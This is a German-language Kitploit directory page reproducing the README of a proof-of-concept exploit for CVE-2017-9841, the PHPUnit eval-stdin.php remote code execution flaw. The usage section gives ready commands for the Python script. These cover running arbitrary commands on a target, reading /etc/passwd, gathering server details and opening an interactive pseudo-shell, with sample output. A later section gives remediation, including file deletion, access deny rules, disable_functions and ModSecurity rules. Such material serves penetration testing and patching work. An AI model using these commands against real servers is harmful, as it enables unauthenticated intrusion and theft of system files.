Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2017-9841-PHPUnit-Remote-Code-Execution-PoC — CVE-2017-9841 ist eine Remote Code Execution (RCE)-Schwachstelle in der PHPUnit-Bibliothek, die Versionen vor 5.6.3 und 6.x vor 6.4.2 betrifft. | Kitploit
Tools/GitHubGitHub/krisdewa/cve-2017-9841-phpunit-remote-code-execution-poc
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungPayload-Entwicklung
GitHubkrisdewa/cve-2017-9841-phpunit-remote-code-execution-poc

CVE-2017-9841-PHPUnit-Remote-Code-Execution-PoC

CVE-2017-9841 ist eine Remote Code Execution (RCE)-Schwachstelle in der PHPUnit-Bibliothek, die Versionen vor 5.6.3 und 6.x vor 6.4.2 betrifft.

Repository anzeigen
11vor 3 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2017-9841 — PoC für Remote Code Execution (RCE) in PHPUnit

⚠️ HAFTUNGSAUSSCHLUSS: Dieses Tool ist ausschließlich für Bildungszwecke und autorisierte Sicherheitstests gedacht. Die unbefugte Verwendung gegen Systeme, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Genehmigung zum Testen haben, ist rechtswidrig. Der Autor übernimmt keinerlei Haftung für Missbrauch dieses Tools.


Überblick

CVE-2017-9841 ist eine Remote-Code-Execution-Schwachstelle (RCE) in der Bibliothek PHPUnit, die Versionen vor 5.6.3 sowie 6.x vor 6.4.2 betrifft.

Die Schwachstelle befindet sich in der Datei src/Util/PHP/eval-stdin.php, die per php://input (POST-Body) empfangenen PHP-Code mithilfe der Funktion eval() ausführt. Wenn diese Datei öffentlich zugänglich ist (z. B. innerhalb eines ungeschützten vendor/-Verzeichnisses), kann ein Angreifer ohne Authentifizierung beliebigen PHP-Code auf dem Server ausführen.

Details zur Schwachstelle

FeldWert
CVE-IDCVE-2017-9841
CVSS-Score9.8 (Kritisch)
BetroffenPHPUnit < 5.6.3, 6.x < 6.4.2
TypRemote Code Execution (RCE)
AuthentifizierungNicht erforderlich
VektorNetzwerk (remote)
Veröffentlicht27. Juni 2017
ReferenzNVD

Verwundbarer Code

// vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
eval('?>' . file_get_contents('php://input'));

Diese Datei akzeptiert PHP-Code aus dem POST-Body und führt ihn sofort über eval() aus – ohne Authentifizierung oder Validierung.


Installation

Voraussetzungen

  • Python 3.6+
  • requests-Bibliothek
pip install requests

Einrichtung

git clone <repo-url>
cd CVE-2017-9841
chmod +x poc_cve-2017-9841.py

Verwendung

Grundlegende Syntax

python3 poc_cve-2017-9841.py -u <URL> [options]

Das -u-Flag akzeptiert sowohl eine Basis-URL (der verwundbare Pfad wird automatisch angehängt) als auch eine vollständige URL, die direkt auf eval-stdin.php zeigt.

1. Schwachstellenprüfung (ohne Befehlsausführung)

python3 poc_cve-2017-9841.py -u 'https://target.com' --check

Ausgabe:

[*] Target : https://target.com
[*] Endpoint: https://target.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

[*] Checking vulnerability on: ...
[+] File accessible (HTTP 200)
[+] VULNERABLE! Code execution confirmed.
[+] Response: VULN_CHECK_OK_2017_9841

2. Befehlsausführung

# Single command
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'whoami'

# Multiple commands
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'id && hostname && uname -a'

# Read a file
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'cat /etc/passwd'

# Save output to file
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'cat /etc/passwd' -o result.txt

3. Serverinformationen (schreibgeschützt)

python3 poc_cve-2017-9841.py -u 'https://target.com' --info

Ausgabe:

=== SERVER INFORMATION ===
PHP Version : 8.x.x
OS          : Linux
SAPI        : fpm-fcgi
User        : www-data
Hostname    : web-server-01
Server IP   : 192.168.1.100
CWD         : /var/www/html/app/vendor/phpunit/phpunit/src/Util/PHP
Doc Root    : /var/www/html/
Server SW   : Apache
Memory Limit: 256M
Max Exec    : 30s
Open Basedir: (none)
Disabled Fn : (none)

=== DANGEROUS FUNCTIONS ===
  system: YES
  exec: YES
  passthru: YES
  shell_exec: YES
  proc_open: YES
  popen: YES
  curl_exec: YES

4. Interaktive Pseudo-Shell

python3 poc_cve-2017-9841.py -u 'https://target.com' --shell

Ausgabe:

[*] Pseudo-shell (type 'exit' or 'quit' to leave)
--------------------------------------------------
www-data@web-server-01$ whoami
www-data
www-data@web-server-01$ ls -la /var/www/html/
total 12
drwxr-xr-x 4 www-data www-data 4096 Jun 11 00:00 .
drwxr-xr-x 3 root     root     4096 Jan 01 00:00 ..
drwxr-xr-x 8 www-data www-data 4096 Jun 11 00:00 app
www-data@web-server-01$ exit
[*] Exiting shell.

5. Verwundbaren Pfad automatisch finden

python3 poc_cve-2017-9841.py -u 'https://target.com' --find-path

6. Benutzerdefinierter Pfad

python3 poc_cve-2017-9841.py -u 'https://target.com' \
  --path '/custom/path/eval-stdin.php' -c 'whoami'

7. Vollständige URL zu eval-stdin.php

python3 poc_cve-2017-9841.py \
  -u 'https://target.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php' \
  -c 'whoami'

8. Rohen PHP-Code ausführen

python3 poc_cve-2017-9841.py -u 'https://target.com' \
  --php '<?php phpinfo(); ?>'

Optionen-Referenz

FlagBeschreibung
-u, --url URLZiel-Basis-URL oder vollständige URL zu eval-stdin.php
-c, --cmd CMDCLI-Befehl, der auf dem Zielserver ausgeführt werden soll
--checkPrüft, ob das Ziel verwundbar ist, ohne Befehle auszuführen
--shellÖffnet eine pseudo-interaktive Shell
--infoSammelt Serverinformationen (schreibgeschützt)
--find-pathDurchsucht gängige Pfade, um eval-stdin.php zu finden
--path PATHGibt einen benutzerdefinierten Pfad zu eval-stdin.php an
--timeout NRequest-Timeout in Sekunden (Standard: 30)
-o, --output FILESpeichert die Befehlsausgabe in einer Datei
--php CODEFührt rohen PHP-Code anstelle von Systembefehlen aus

Behebung

Sofortmaßnahmen (jetzt durchführen)

1. Die verwundbare Datei löschen

sudo rm /path/to/project/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

2. Zugriff auf das Vendor-Verzeichnis blockieren

Fügen Sie eine .htaccess-Datei im vendor/-Verzeichnis hinzu:

# /path/to/project/vendor/.htaccess
Deny from all

Oder konfigurieren Sie es in Ihrem Apache-VirtualHost:

<Directory "/path/to/project/vendor">
    Require all denied
</Directory>

Für Nginx:

location /vendor/ {
    deny all;
    return 403;
}

3. Entwicklungsabhängigkeiten aus der Produktion entfernen

cd /path/to/project
composer install --no-dev --optimize-autoloader

Kurzfristige Härtung

4. disable_functions in der php.ini aktivieren

; /etc/php/8.4/fpm/php.ini
disable_functions = system,exec,passthru,shell_exec,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source

5. open_basedir aktivieren

; /etc/php/8.4/fpm/php.ini or in VirtualHost
open_basedir = /var/www/html/project:/tmp

6. max_execution_time reduzieren

max_execution_time = 30

7. PHP-FPM neu starten

sudo systemctl restart php8.4-fpm
# or
sudo systemctl restart php-fpm

Langfristige Härtung

8. PHPUnit aktualisieren

composer require --dev phpunit/phpunit:^10.0
composer update phpunit/phpunit

9. WAF-Regeln implementieren

ModSecurity-Beispiel:

SecRule REQUEST_URI "eval-stdin\.php" \
    "id:1000001,phase:1,deny,status:403,msg:'CVE-2017-9841 Block'"

SecRule REQUEST_URI "/vendor/" \
    "id:1000002,phase:1,deny,status:403,msg:'Block vendor directory access'"

10. CI/CD-Pipeline härten

# Example: GitHub Actions
- name: Install production dependencies only
  run: composer install --no-dev --optimize-autoloader

- name: Remove test files and vulnerable scripts
  run: |
    rm -rf vendor/phpunit
    rm -rf vendor/mockery
    rm -rf tests/
    find vendor -name "eval-stdin.php" -delete

Angriffsablauf-Diagramm

Tool herunterladen